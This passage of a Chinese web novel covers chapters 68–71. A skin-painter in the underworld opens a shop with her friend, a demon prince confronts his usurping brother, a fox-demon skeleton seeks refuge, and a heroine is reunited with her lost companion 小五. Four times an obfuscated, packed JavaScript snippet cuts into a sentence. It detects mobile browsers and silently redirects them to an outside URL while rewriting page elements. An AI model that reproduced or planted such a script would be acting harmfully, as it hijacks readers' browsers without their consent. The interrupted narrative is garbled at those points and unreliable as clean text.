她抬起头,眼里满是迷茫和纠结:“他还说,若我想做点营生,不懂的,他可以帮着照应,灵姐你说,我该信他吗?” 百灵没有立刻回答。 她拿过那卷文书,指尖摩挲着冰冷的纸张,心头却像压了块石头。 她想起无忧阁的烟雾,想起榴月空洞的眼神,想起周延玉所说的妖与鬼的交易。 “夭夭,”她放下文书,握住白夭夭的手,声音沉重,“这铺子,你得小心谨慎些,就算真的是小五的意思,也难免叶知舟从中作梗。” “所以你觉得这是他设的套吗?”白夭夭脸色白了白。 “不止是套。”百灵深吸一口气,决定不再隐瞒。 “叶知舟和妖怪有勾结,无忧阁的忘情水,不只是让人忘情,更是为妖怪物色、甚至制造适合附身的躯壳,就像你和周延玉上次遇到的那个小偷。” 白夭夭猛地抽回手,捂住嘴,眼里瞬间充满了惊骇:“他怎么敢的?竟然拿同类当筹码,和妖怪做交易?” “他敢,而且做了。”百灵语气斩钉截铁。 “所以,他给的任何东西,都可能是拴上线的诱饵。夭夭,你不能被他这点补偿迷了眼,小五若真有心,当年就不会走,更不会用这种方式,通过叶知舟的手来做。” 白夭夭沉默了。 就算她现在拒绝也迟了,文书上白纸黑字写了她的名字。 不管是叶知舟还是小五,都打定了主意,没有让她拒绝的余地。 白夭夭很困惑,不知道怎么处理这个烫手山芋。 “可是叶知舟想从我这里得到什么呢?我不过是个再普通不过的人,对他来说没有利用的价值。” 从内心深处感受,白夭夭还是想接过叶知舟送的铺面。 她就算不用这个铺面做生意,也算是有了一个安生之处,不用再流浪寄居在外面。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236092|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且百灵告诉了她叶知舟和妖怪之间的勾结,她隐隐担忧总有一天叶知舟会坠入深渊,而连带着他的一切,也会受到牵连。 她必须提前为自己做好打算。 如果说这真的是为她准备的诱饵,那也是她难以抗拒的。 百灵也读懂了白夭夭的意图,她是想要的。 “夭夭,你如果真的接手了,一定要和叶知舟做好切割,不要让他插手,必须完完全全的属于你自己,就算是他再用小五的名义,你也要慎重。” 白夭夭点头,依旧有些纠结:“可我现在一时间也用不上这个铺子,我怕叶知舟死缠烂打。” “那就用,随便做点什么小生意小买卖的,总之不要给他任何机会。” 说到小生意小买卖,白夭夭瞬间眼前一亮:“灵姐,不如我这铺子和你一起开个画皮铺子如何?你加入进来,叶知舟肯定不会插手的,而且你也能继续留在幽都画皮了。” 百灵被她大胆的想法惊了一下,随即一股热血也涌了上来。 这确实是个机会,一个在叶知舟眼皮底下,却能独立出来的立足点。 “可是,这终究是从他手上过来的东西。”百灵仍有顾虑,“会不会惹来更多麻烦?而且,用他的铺子,总觉得跟他扯不清楚。” 榴月的阴影还在心中,百灵仍然心有余悸,不想和叶知舟再扯上联系。 “扯不清?”白夭夭接口,冷哼一声,“那就让他扯不清!我们把铺子做得红红火火,他要是敢使坏,那就是明着打自己的脸,毁他自己的名声。反正这铺子现在就是我的了,我请你来合伙经营,天经地义!他叶知舟可管不着!” 白夭夭说的也有道理,而且她的提议显然对百灵也说也是个巨大的诱惑。 这下轮到她陷入两难的境地了。 两人正说着,周延玉不知何时倚在了门边,显然已听了一会儿。 他走进来,缓缓开口,打破了僵局:“白姑娘这主意,有胆量,也有算计。百灵,我觉得你可以应下。” 百灵看向他。 周延玉继续分析道:“其一,你们确实需要一个起点,这铺子现成的,能省去无数麻烦。其二,正如白姑娘所说,这铺子现在是她名下产业,你们合伙经营,叶知舟若强行干涉,道理上说不过去。其三……” 他目光微沉:“这也是一个绝佳的观察窗口,叶知舟主动送出铺子,必有后手。我们接下,以静制动,正好看看他接下来到底想演哪一出。是真心补偿做个样子,还是另有所图,很快就能见分晓。” 他看向百灵,声音放稳:“有时候,危险和机遇是一体的,拒绝固然安全,但也可能错过破局的关键,不如把饵吃下,把钩子给他撅了。” 百灵看着目光坚定的白夭夭,又看了看沉着分析的周延玉,心中的天平终于倾斜。 她深吸一口气,点了点头:“好,夭夭,这铺子,我们合伙,你负责经营,我来做手艺,咱们就看看,他叶知舟这出戏,到底要怎么唱下去。” 反正她一无所有,光脚的不怕穿鞋的,大不了失败了回家去。 白夭夭重重握了握她的手,脸上露出了一个舒心的、带着斗志的笑容。 68. 第 68 章 白夭夭和百灵的合伙开店计划很快就开始实施了。 幽都这一片的画皮事业几乎都被叶知舟垄断了,百灵自知走寻常的路线根本斗不过叶知舟,甚至还可能被叶知舟斗倒。 叶知舟的画皮坊规模大种类多,而且价格低廉,质量或许一般,但也足够用了,更换也不需要大价钱,所以他的生意一直不缺回头客。 所以百灵准备走一条与众不同的路。 叶知舟那里的客人她是肯定抢不过来的,所以她打算培养自己新的主顾。 从乱葬岗开始,引导那些刚入冥界的鬼魂来到她这里,先免费帮助他们复原生前的模样,亦或是改头换面,然后等到他们有能力时再慢慢偿还。 而百灵要先打响自己的名号,周延玉就是一个绝佳的切入点。 那天他放着众人的面宣布自己的身体是百灵量身打造的,无疑是她最好的招牌。 只是不知道,周延玉愿不愿意配合她,毕竟那也是他自己的骨架。 “我都可以。” 试探着去问周延玉,结果他想都没怎么想就答应了。 “我可能会需要向其他人展示你的这具身体,这样也可以吗?” “可以。” “可是……”周延玉答应的如此快,百灵反倒有些不好意思了。 “没什么可是的。”周延玉打断她,“比起这些,你们的事业更要紧些。” 闻言,百灵心下一阵感动。 “之前小骨的身体还在吗?我可能需要借用一下。” “小骨?”百灵不解,“你要这个干嘛?” “打算回去一趟。”周延玉解释,“我现在这个身体就留给你。” “回去?去哪里?妖界吗?”面对突然到来的离别,百灵显然不能适应。 “嗯。”周延玉却镇静得很。 “你要回去找卫影吗?” “不止是他,我还想回去见见周玄玉。” 他们兄弟俩,总有一天要当面对峙的,周延玉不想等待和退缩了。 “可你的妖丹还在他们那里,万一……”百灵担心道。 “没有万一。”周延玉无奈摇摇头,“就算有,我也要去的,总比现在坐以待毙的好。” 百灵知道他已经下定决心,自己也没什么能挽留他的理由。 “那……”百灵小心翼翼道,“你还回来吗?” 周延玉讶然,没想到百灵会这样问他。 他用开玩笑的语气回应道:“我的身体抵押在你这里,当然会回来了。” 百灵并不满意这个回答,又问:“那如果你的身体不在这,你还会回来吗?” 周延玉感受到百灵的严肃,盯着她的眼睛道:“你希望我回来吗?” 百灵下意识别过头去,突然有些后悔自己太冲动了。 “如果你希望的话,我一定会回来。” 百灵的脑袋垂的更低了。 “不说话就当你默认了,嗯?” “你是怎么想的呢?”百灵忽然抬起头,“不管我希不希望,你自己想吗?” 百灵不想暴露自己的内心想法,但同时她很想听到周延玉的真实态度。 “我想。” 听到满意的回答,百灵忍不住勾起嘴角。 “那你呢,你想吗?”周延玉同样也想知道百灵的答案。 虽然上次百灵主动牵住了他的手,但他还是不肯确认百灵到底是想安慰他还是因为别的。 百灵抬起脸,傲娇一笑:“等你回来,我再告诉你。” 一方面百灵没有完全做好坦白的心理准备,另一方面,她希望留下一个勾子,勾住周延玉,让他不要忘记了有个人还在等着他回来。 见到她这幅模样,周延玉忽视觉得她的答案也不那么重要了。 “一言为定。” “一言为定。” 两人互相许下承诺,暧昧的情愫在两人心中蔓延交织,等待彻底成熟的那一刻。 …… 深夜时分,百灵带着榴月还有白夭夭,三人一同前往乱葬岗,寻找机会。 百灵为榴月做了一张新的脸皮隐藏身份,榴月虽没有任何表示,但行动默认了她愿意留在百灵身边。 “夭夭,你这么晚出来,明天还要干活,不如早点回去,有我和榴月在就行了。” 白夭夭不像她们两个无业游民,还有自己的正经工作。 “没事的,我早就和叶知舟说过了,他给我放了几天假,这几天我要专心忙我们的事。” “你和叶知舟说了?”百灵惊讶,“他知道你在和我一起开店吗?” “知道,我本来也想瞒着他的,但想着迟早他会知道的,就直接说了。” 而且以叶知舟对白夭夭的监视,恐怕在白夭夭说出之前就已经知晓,白夭夭与其按兵不动,不去主动出击。 “那他是什么反应?”百灵不安问道。 “没什么反应,挺淡定的。”白夭夭回忆道,“他还问我缺不缺钱要帮我,不过我肯定是拒绝了。” 没什么反应才是最可怕的反应了。在百灵看来,叶知舟似乎又要暗地干什么坏事。 “别担心了灵姐,他不会乱来的。”白夭夭看出她的顾虑,“我和他说了如果敢搞什么小动作,我恨小五一辈子。” 白夭夭的意思是,看在小五的面子上,叶知舟不敢怎么样。 “这个小五,如果真的想要好好补偿你,为什么不自己亲自来呢?还要麻烦通过叶知舟来传话。” “可能是不敢见到我,怕把他骂死吧。”白夭夭笑了笑。 “那你呢,夭夭。”百灵认真道,“你还恨他吗?” “当然了,别以为这样就能打动我。”白夭夭不屑道,“而且他能跟叶知舟这种人玩到到一块,肯定也不是什么好东西。” “小五这个人真的存在吗?”一旁默默倾听的榴月没有征兆开了口。 百灵和白夭夭都被她这番话惊住,愣愣看着她。 榴月凭借直觉继续道:“我怎么觉得,小五只是个借口,其实这个铺子就是叶知舟单纯想给你的。” 百灵立刻提出疑惑:“可是叶知舟无缘无故送个铺子给夭夭做甚?” “因为喜欢呀。”榴月自然道,“但是又不好意思承认,所以就只能搬出这个无中生有的小五来。” 她这番话再次让两人沉默了。 百灵竟然觉得她说的有道理,这样一来也可以解释为什么叶知舟一直以来对白夭夭格外关注。 如果真的小五存在,叶知舟也没必要做到这个份上,难不成小五救了他的命?那她也不相信,叶知舟是个如此知恩图报的人。 “又或者说。”榴月接着大胆猜测,“这个小五就是叶知舟。” “不可能!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243671|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白夭夭扬声反驳,激动道,“绝对不可能。” 百灵意识到这个话题不宜再继续讨论下去了。 因为她也觉得榴月的这个猜测不是没有可能,但如果是真的,对于白夭夭来说,那实在太可怕了。 “管他谁是谁呢。”她故作轻松缓和氛围,“我们管好自己的店铺就行了,不说那么多了。” 见状,榴月也识趣闭上嘴。 三个人保持默契,一路上谁也没再主动提起这个事。 一直到了乱葬岗,等待新入界的鬼魂。 乱葬岗还是一如从前,到处都是散落的尸骨,空气中也充满了腐臭的味道。 百灵想起上一次在这里,还是她不小心把周延玉的骨架当成没人要的东西顺回去的时候。 她突然理解了那天为什么周延玉要烧她家的房子。 换做她估计也不会放过自己。 正出神时,一个模糊身影正磕磕绊绊朝她们这走来。 “那是新入界的鬼魂吗?”白夭夭伸着脖子望去。 模糊的身影随着距离不断缩小越来越清晰。 直到她们三人彻底看清眼前的一切。 是一个骷髅人。 百灵一下魔怔了,怎么刚才想起了周延玉,现在又出现了和他差不多的骨架。 不过仔细看,还是周延玉的骨架更完美些。 “这人是怎么死的?”榴月疑惑。 “你才死了!”骷髅人听见榴月的声音,着急大声反驳。 “这是还没反应过来自己死了吧?”白夭夭道。 刚下来的鬼魂总要经过一段适应期才能接受自己已经死掉的事情,这种情况很常见。 “这里是冥界,等待转世投胎的地方。”百灵率先上前解释,“我是一名画皮师,可以帮你恢复生前的样貌。” “有这种好事?”骷髅人很快接受了自己在冥界这个事实,“我以前的样子不好看,想变成什么其他好看的样子行吗?” “当然可以。”百灵应道,“但我需要收取相应的报酬,一般新入冥界的鬼魂都会有家人烧纸钱,你不用担心没钱给我。” 骷髅挠挠头骨,爽快道:“成,那就这么定了。” 第一单生意来的太过轻松,她们三人都很惊喜。 骷髅人很兴奋,不停向百灵念叨着自己要一张怎么样的脸。 “如果你做得好,我让我那些个兄弟姐妹都过来你这画皮!” “兄弟姐妹?”百灵震惊,“你的兄弟姐妹也都去世了吗?” 这个骷髅人未免也太乐观了吧。 “啊……”骷髅顿了一下,改口道:“我说错了,不是那个意思。” 榴月和白夭夭交换了一个眼神,也觉得这骷髅有些古怪。 “你是怎么死的?”榴月又问。 “我是……不小心摔死的。” “不对吧。”百灵打量它,“摔死的骨架大多会有碎裂或损伤,可你的骨头看起来很完整,一点伤痕都没有。” “这个……我也记不清了,也许不是摔死的吧。”骷髅人支吾起来。 他越是遮掩,百灵心里的疑虑就越深,这骷髅人言行之间,总透着一股说不出的违和。 寻常的尸骨,就算完好,也难免会染上风霜岁月的痕迹。可眼前这副骨架,白得匀称,关节灵活,行走时甚至没有那种枯骨摩擦的滞涩声响。 69. 第 69 章 排除掉骷髅人不是鬼魂的可能性,那么只剩下了一种结果。 他是妖,从两届交界处偷溜出来的妖怪。 百灵本该害怕,但她莫名觉得这个鬼对她们而言没什么威胁。 甚至还有点傻气。 大概是和妖王一起太久了,百灵快把小妖怪都不放在眼里了。 自己也是从藤妖手里逃出来的人,这样一个骷髅人算什么。 只是她现在严重怀疑这个骷髅人想要利用她给自己恢复身体。 她才不做亏本买卖。 “夭夭,等会打算吃点什么?”百灵冷不丁开口问。 “什么?你饿了吗?”白夭夭一脸懵。 “不是说好了吗?”百灵疯狂给白夭夭使眼色,“结束后要吃顿好的,你忘啦?” “哦……”白夭夭会意,“还真给忘了,你想吃啥?” “吃点虫子吧。”百灵和白夭夭开始一唱一和,“算了最近虫子吃腻了,想吃的野味,野鸡野猪之类的。” “好呀,等会我们就去林子里打野,要吃就吃新鲜的。” “行。”百灵故意扭动胳膊,“刚好我也好久没活动活动了,抓只鸡来练练手。” “好啊,来不来比谁抓得多。” 榴月听着两人的对话,眉头紧皱,下意识还和二人拉开了距离。 而一边的骷髅人却越听越入迷,越听越近。 “那个,我可以加入你们吗?”骷髅人跃跃欲试。 “你吗?”百灵一脸不屑道,“就你这小身板能抓到啥,别被自己绊倒就不错了。” “我可以的!”骷髅人急了,“真的。” “好了好了,别给我们拖后腿了。”白夭夭火上浇油,“给我们望个风算了。” “是真的!”骷髅人急得直跺脚,“我和你们是一样的!” 百灵立刻接话道:“一样什么呀,一样是妖吗?” “是啊!”骷髅人不假思索。 “……” 气氛陷入了凝滞。 发现她们三人不约而同投来的目光时,骷髅人惊觉自己中计了。 “你们,你们不是……”骷髅人边说边退。 “说!”百灵严肃道,“你来冥界有什么企图?” “关你什么事!我想来就来,想走就走。” “我劝你现在实话实说,这样我还能给你留一条命。”百灵威胁道。 “你好大的口气,拿什么跟我斗?”骷髅人丝毫不惧。 “没猜错的话,你是以为自己闻到同类的气息才找到了我们。”百灵不紧不慢道,“那你不妨在凑近一点闻一闻,是不是我身上的味道?” 骷髅人将信将疑,小步向着百灵靠近。 再闻到一股强大气息的瞬间,他猛然后撤。 “你!”他警觉道,“到底是不是?” 他在百灵身上感知到的味道,毫无疑问是周延玉的。 “我不是,但我伙伴是。”百灵笑里藏刀,“只要我想,他马上就能出现,你信不信?” “信,我信!”骷髅人很快认怂,“我马上走人,马上消失。” “慢着。”百灵抓住他一只手,“你还没回答我的问题?来这到底想干嘛?” 骷髅人求饶道:“我什么也不想干,我就想活着而已,我已经连身体都没了,你们就放过我吧。” “放过你?”白夭夭也上前一步,“然后让你去附身到别的鬼魂身上吗?” 榴月虽听不明白她们在说什么,但也上前一步,帮她们一同围住这个骷髅人。 “姐姐们,我能附身到谁身上去?”骷髅人欲哭无泪,“你们也不是傻子,说让附身就附身的,搞不好把自己还栽进去。” 百灵并没有因为他这番所说词而放松警惕:“那你为什么不好好在自己的地盘呆着,跑我们来干嘛?” “我也想啊!”骷髅人崩溃道,“这不是被逼的没办法了吗。” 在百灵的不断追问之下,骷髅人讲述了自己的心酸经历。 他是妖界底层非常普通的一个小妖怪,本来生活的好好的,结果突然有一天,天道颁下什么指令,说他们妖怪不用靠自己辛苦修炼,可以直接转世投胎成人。 消息一出,让众多辛苦修炼想要化成人形的妖怪看到了希望,有这种不用靠努力就能变成人的途径也太好了。 妖怪对于凡间人世的向往是很痴迷,认为人活得更体面,凡间更热闹,有更大的可能,可以成为书生读书为官受万人敬仰,可以经商赚钱衣食无忧,也可以潇洒人间无忧无虑,总之怎么都比当一个没出路的妖怪好。 骷髅人名叫耶耶,是条小狐狸,也曾经做过这样的美梦。 但是现实总是残酷的,投胎转世的机会少之又少,分给他们这些底层妖怪的机会更是凤毛麟角。 许多妖怪死心了,耶耶也是其中一个,想靠着自己的努力修炼成人形,虽然不是人,但好歹有个人样了。 可总有不死心的妖怪,他们联起手来想扩大自己的势力争取更多的机会,因此要排挤其他不支持自己的妖怪,耶耶自然成了其中之一。 他不想站队,他知道就算站队了机会也轮不到他头上,可如果不站队就会被杀死。 所以他走投无路来到了交界处,幸好遇上边界处松动,他来到这里竟然没有传说中那样灰飞烟灭,只是可惜他刚修炼的人形没了。 妖怪附身夺舍的故事他也听过不少,他身边有不少妖都想走这条路,这样就可以用鬼的身份投胎转世。 但耶耶不想这样,他不想扮演另一个人,他觉得一旦附身了,那就不是自己了,就算成功投胎转世,也分不清转世的人是自己,还是最初那个鬼。 本想在鬼届勉强生存下去,可谁知一出来就撞见了百灵。 他以为是同类,结果是讨伐他的敌人。 对于耶耶的说辞,百灵是愿意相信的。 因为她所面临的境遇,也正是被迫要分享投胎机会的鬼魂同样要面对的。 只是耶耶的情况更加残酷。 百灵问:“像你这种情况的妖怪,偷偷潜进来的还有多少?” “因为边界的松动,最近越来越多了。” 百灵抓住了疑点:“边界怎么会突然松动?” 耶耶茫然摇了摇头:“那我就不知道了,我就是碰碰运气,没想到真过来了。” “那你接下来打算怎么办?怎么在这里生活?” “总有办法的,这里总比妖界安全点。” “我还是可以帮你做一副新的身体,你也可以找到你的同类到我这里。” “当真?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249624|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耶耶半信半疑,“你为什么帮我们?” “因为我不希望你们附身到其他无辜的鬼魂身上,我们都是受害者,能和平相处是最好的。” 百灵希望做点什么来缓解似乎越来越失控的局面。 “这个你放心,我肯定是不会做这样的事的。”耶耶为难道,“但是其他妖怪,那就不好说了。” “所以我有一个条件,你们要把自己的妖丹压在我这里。” 闻言,耶耶一时愣在原地。 他这个反应百灵一点也不意外,她知道这需要极大的信任,但这也是最稳妥的办法。 “如果你愿意信我,我也会帮你一起隐藏身份,在这里安全的活下去。” “好。”耶耶像是下定了决心,“我信你。” 反正他已经走投无路了,虽然投靠百灵也是招险路,但总比没有好。 …… 就这样,四个人一同从乱葬岗返回。 在即将抵达店铺时,忽视有人找上了白夭夭。 耶耶立刻躲在了百灵身后。 “大虎?”白夭夭一眼认出了来人。 “夭夭,叶老板请你回去。”大虎道。 “这么晚了,回去干嘛?”白夭夭显然不想答应。 “有人要见你。” “谁要见我?”白夭夭更加困惑。 “叶老板说,那人叫小五。” 白夭夭慌神了。 百灵也同样震惊,怎么躲在幕后的小五终于忍不住要现身了吗? 她看向白夭夭,观察她的反应。 她知道白夭夭虽然嘴上说着讨厌小五,但毕竟他们曾经相依为命,除了恨,肯定也有不舍的感情。 是因为白夭夭收下了这个所谓补偿的店铺,让小五觉得或许白夭夭没那么讨厌她,所以鼓起勇气要和她见面相认吗? “灵姐,我……”白夭夭也迟疑侧脸看向百灵。 “你去吧。”百灵鼓励道,“这里还有我和榴月呢。” 不管怎样,百灵是希望白夭夭去的,一直以来,小五都是她的心结,没有什么比见到当事人更好解开心结的方法了。 “……那我走了。”白夭夭深吸一口气,决定去面对小五。 “我等你。”百灵笑着和她道别。 大虎陪同白夭夭,一同消失在夜色中。 虽然做出了决定,但白夭夭还是紧张得很。 她不是没想过和小五再次重逢的场景,但是当那一天真的来临时,她反倒不知所措了。 焦虑之时,一旁的大虎和她越走越近,悄无声息拉住她的胳膊。 “你干嘛!”白夭夭吓得甩开他的手,眼里充满了不可思议。 “没什么,外头冷,想靠你近点。”大虎猥琐笑着,“也好帮你暖暖身子。” “你……”白夭夭有些语无伦次,“你不是已经忘了吗?” 明明叶知舟说大虎喝了忘情水对她没有非分之想,怎么又变回以前那样了。 “是啊,我一直忘记了身边有这样一个小美人。”大虎浑然不觉白夭夭的话有任何不对劲之处,依旧油嘴滑舌道。 “你再多说一句。”当下白夭夭无意辨别大虎究竟有没有失忆,而是先严厉警告道,“我拔了你舌头。” 说完,大虎立刻识趣闭嘴了。 70. 第 70 章 周延玉附身在小骨的身体上,通过松动的结界轻而易举回到了妖界。 他早就注意到了结界的不对劲,这也是他要回来的原因之一。 与周玄玉的相见,比他预想中来得更快。 结界附近早已布满眼线,就等着他自投罗网。因此,当被押到周玄玉面前时,周延玉并不意外。 只是今昔对比鲜明,曾经那个需要仰视自己的兄长,如今却高高在上,而自己只能站在下首仰望。 周玄玉端坐于王位之上,神色依旧温和如旧。 “欢迎回家,我的好弟弟,在外面受苦了吧。” “拜你所赐。”周延玉冷哼一声,“还不算太苦。” “父王去世时,最盼望的便是我们兄弟和睦。”周玄玉仿佛陷入回忆,语气轻柔,“你说若他看到今日这般情景,会不会气得想杀了我?” “你没资格提父王!”周延玉目光骤然转冷。 他如此激动,皆因那段不堪的往事,他们共同的母亲,欺骗了当时的妖君,让他将别人的儿子当作亲生骨肉抚养了十多年。 “是啊,我这样的野种哪有资格提起他。”周玄玉冷笑一声,随即话锋一转,“他也不配做我的父亲。” “你是因为恨他,所以要和我抢王位吗?” “和你抢?”周玄玉像是听见什么笑话,“我只是拿回本来就属于自己的东西,是你抢走我的王位,明白吗?” 周玄玉这番话不无道理。 在得知周玄玉不是自己亲生儿子之前,他一直是默认的王位继承人。 可随着真相大白,母亲的离开,周玄玉失去了支持,被君上慢慢冷落,相对的,周延玉被扶上了继承人的位置。 本来周玄玉是要被处死的,是周延玉替他求情,他才得以活命,并且一直辅佐在他身边。 因为对于那时的周延玉而言,虽然他们同母异父,但他一直把周玄玉当作亲哥哥看待,不忍看他流落到悲惨境地。 只是他没想到,当初的心软,给他埋下了巨大的隐患。 他更没想到,看似淡泊名利的哥哥,会派人暗杀他,将他逼至绝境。 “王位是父王传予我的,并非我与你争夺。即便你心有不甘……”周延玉能理解他的执念,却无法原谅那偏激的手段,“我们兄弟之间,难道非要走到你死我活的地步?” “王位只有一个!”周玄玉忽然激动起来,“你不死,我如何名正言顺?周延玉,你莫非还以为这是我们儿时玩的过家家游戏吗?” “好,好。”周延玉无奈苦笑道,“现在你如愿了,你拿到王位了,现在你打算怎么做,杀了我吗?” “曾经你救过我一次,今天我也放过你。”周玄玉闭上眼道,“从今往后我再看见你,不是你死就是我活。” “我回来不是为了抢回王位的,是想来劝你回头是岸。”周延玉叹息一声,软了语气道,“以一个弟弟的身份。” “该回头是岸的人是你,成天和那些鬼怪们混在一起像什么样子?”周玄玉也不自觉带上了兄长的责备,“想想你的子民们,你哪有半点做妖的样子?” “我或许不是一个好君上。”周延玉坦然承认道,“但我也绝不会和敌人狼狈为奸,靠残害无辜的人换取利益。” “无辜的人?”周玄玉眉头紧皱,失笑道,“那这些无辜的人知道你这么为他们着想吗?他们对你很感激吗?” 周延玉沉默了。 他不想和周玄玉就这个话题继续争论下去。 他们所在立场不同,自然想法也不一样。 周延玉何尝不想为自己的子民争取,只是他不想也不会采取周玄玉这种方式。 冤冤相报何时了,冥界的鬼魂们不是可以任人宰割的工具,他们总有一天会意识到会反抗。 到那时场面或许更难收场。 事情走到这一步,周玄玉已经走火入魔了,周延玉知道自己说什么都没用。 “卫影呢?你什么时候蛊惑的他?” 周延玉本以为见到周玄玉时,卫影会一同出现。 可是却没有,不过这也让他松了口气,卫影还没有彻底背叛他。 “我可不擅蛊惑人心。”周玄玉微微一笑,“是他自己选择投靠我的。” “卫影向来纯粹。”周延玉不信,“肯定是你说了假话来骗他。” “说假话也得有人信不是?”周玄玉反问他,“可是他偏偏就愿意相信我,而不是你。” 周延玉的脸色肉眼变得难堪,这句话戳中了他的心防。 他知道卫影的背叛有自己的原因,不全是周玄玉在外面挑拨离间。 “他把你的妖丹给了我。”周玄玉趁机又添上一把火,“被最亲近的人背叛的滋味如何?” “不可能。”周延玉心里慌了,但还是假装镇定,“他不会做出这样的事。” 如果是真的,那也是卫影鬼迷心窍被周玄玉哄骗了。 周延玉绝不相信卫影为了投诚主动交出他的妖丹。 “不信的话你可以试试。”周玄玉明晃晃威胁道,“但凡你敢卖出妖界一步,我立刻捏碎你的妖丹。” 望着高台上那双陌生而狠厉的眼睛,周延玉清楚,他是认真的。 …… 与此同时,另一边的冥界,大虎领着白夭夭来到了一处荒凉的尼姑庵前。 “不是说要见小五吗?”白夭夭心生怀疑,“这里是哪里?” “进去就知道了。”大虎没好气道。 白夭夭还想追问,却冷不防被大虎一把推进庵内,紧接着大门“砰”地关上,从外落了锁。 “放我出去!”白夭夭反应过来,扑到门前用力拍打呼喊。 大虎是不是想起来了,所以偷偷约她到这里想报复她。 可他要报复找叶知舟啊,关她什么事! 白夭夭被大虎这个欺软怕硬的家伙气得要死。 尼姑庵里黑漆漆的,什么也看不见,白夭夭出不去,只能在里面无助的摸索。 忽然,她的指尖触到一片衣角,接着摸到一个人的轮廓。 那人静静立着,一动不动。不知哪来的勇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253947|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,白夭夭竟继续探手,指尖缓缓抚过那人的眉眼、鼻梁、嘴唇…… “……小五?”她下意识低喃出声。 她是清醒的,知道自己正在说什么。 从前冬日相拥而眠时,她就总爱用手指轻轻描摹小五的五官,有时睡着了,手还停留在他脸上。那触感,她再熟悉不过。 对方没有回答。而这沉默,反而让白夭夭更加确信。 她收回手,一时竟不知该如何反应,是该骂他,还是该打他? 就在她恍神之际,那个背对着她的人忽然转过身,一把将她拥入怀中。 白夭夭没有反抗,也没有回应。 她这才发现,真正面对小五时,她做不到想象中那样决绝,却也再也回不到从前亲密无间的样子。 “既然当初决定要走,为什么又要回头呢?”白夭夭轻声开口,声音平静得像一潭深水,“我们早就回不去了,不是吗?” 话音落下,环住她的手臂又收紧了几分。 “从前我把你当成是我唯一的家人,那时候就算过的再苦再累,一想到身边还有你,我就觉得充满希望。” 白夭夭的语气依然平稳,却像钝刀划过心头。 “为了和你永远在一起,我差点就要说服自己了,说服自己乖乖当一只金丝雀,说服自己成为你的新娘,你知道吗?” “幸好你走了,不然我一定会后悔的,我的心很小很小,只能装下一点点,而这一点点里大部分都是你,可你的心却很大很大,大到我都快不认识你了,小五。” 倚在她肩头的那人呼吸忽然一重,身体也微微绷紧。 他都听进去了。 “你送我的铺子,我收下了。从今往后,我们就两清吧,好不好?”白夭夭终于抬起手,轻轻回抱住他,说出的话却温柔而残忍,“我想……我们还是在梦里相见,更合适。” “我不管你和叶知舟之间到底有什么交易,他能这么帮你,希望你以后不要和他往来了,他不是好人,你要离他远一些。” 白夭夭像叮嘱孩子一般,声音又轻又软。 “小五,在我心里,你永远是最好的那个人。别一错再错了,好吗?” 说了这么多,紧抱着她的人始终一言不发。 “你不说话,我就当你答应了,这次,可不能再骗我了。” 话刚说完,颈侧忽然传来一阵刺痛——是那人咬了她一口。 是小五没错了,从前每当白夭夭说了他不爱听的话,他就会这样,带着怨气,又藏不住亲密。 白夭夭闭上眼,心中五味翻涌,再说不出一句话来。 他们抱得那么近,两颗心却靠得很远很远。 小五抱着她,丝毫没有要放开手的意思。 直到白夭夭在温暖中生出了几分倦意,将自己像曾经无数次习惯做的那种缩在小五的怀里。 就当这是梦吧,白夭夭想。 意识即将消失前,白夭夭感觉到小五捧住了她的脸,生涩吻住她的唇,像在完成那次他们在菩萨娘娘面前未尽的成亲仪式。 71. 第 71 章 白夭夭离开后,百灵就一直守在店铺等她回来。 可是她等了大半夜,都没等到白夭夭。 第二天一大早,百灵准备亲自去找白夭夭,结果门外有人主动敲门。 她好忙去开门,以为是夭夭回来了。 可来人却是许久不见的卫影。 百灵并没有及时认出来他,因为他用的身体不是原来那个。 “是我,卫影。”卫影自报家门。 “卫影?”百灵很惊喜,“你回来了。” 卫影反应平平,在观察四周,发现只有百灵一个人时,忍不住松了一口气。 